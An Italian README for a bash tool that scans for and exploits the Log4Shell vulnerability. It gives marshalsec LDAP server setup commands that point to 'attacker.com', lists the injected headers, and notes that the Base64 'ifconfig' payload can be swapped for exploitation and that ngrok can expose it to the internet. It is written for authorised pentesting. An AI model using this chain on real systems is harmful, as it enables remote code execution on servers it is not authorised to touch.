Log4Shell Scanner Exploit
Script in bash che permette di identificare e/o sfruttare la vulnerabilità Log4shell in remoto.
Questo strumento esegue diversi test utilizzando payload LDAP e header X-Api-Version, User-Agent e X-Forwarded-For.
Utilizzare sempre questo script con autorizzazione preventiva del proprietario del servizio/applicazione auditata.
Dipendenze:
- Creeremo un server LDAP preconfigurato da Github: https://github.com/mbechler/marshalsec
mvn clean package -DskipTests && Java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar
marshalsec.jndi.LDAPRefServer 'http://attacker.com/#exploit'
-
Abilitiamo un server HTTP
python3 -m http.server 8080
-
Avere Java installato
#sudo apt install default-jre
-
Avere Curl installato
#sudo apt-get install curl
Esempio di utilizzo:
Inserisci i seguenti parametri:
- Lista di URL da scansionare
- Indirizzo IP del server LDAP
- Porta server LDAP
- Indirizzo IP server HTTP
- Porta server HTTP
#Esempio scansione di applicazione in rete interna:
- ./Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>

#Esempio scansione di applicazione su internet:
- ./Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>

Chiarimenti:
- Il payload utilizzato invia un comando "ifconfig" alle macchine identificate come vulnerabili, questo payload è codificato in Base64 e può essere modificato per effettuare la fase di sfruttamento in un audit di pentesting.
- Se si desidera utilizzare lo strumento su servizi internet si può avviare un servizio Ngrok che faccia port forwarding alla porta locale del server LDAP
- Utilizzare sempre questo script con autorizzazione preventiva del proprietario del servizio/applicazione analizzata.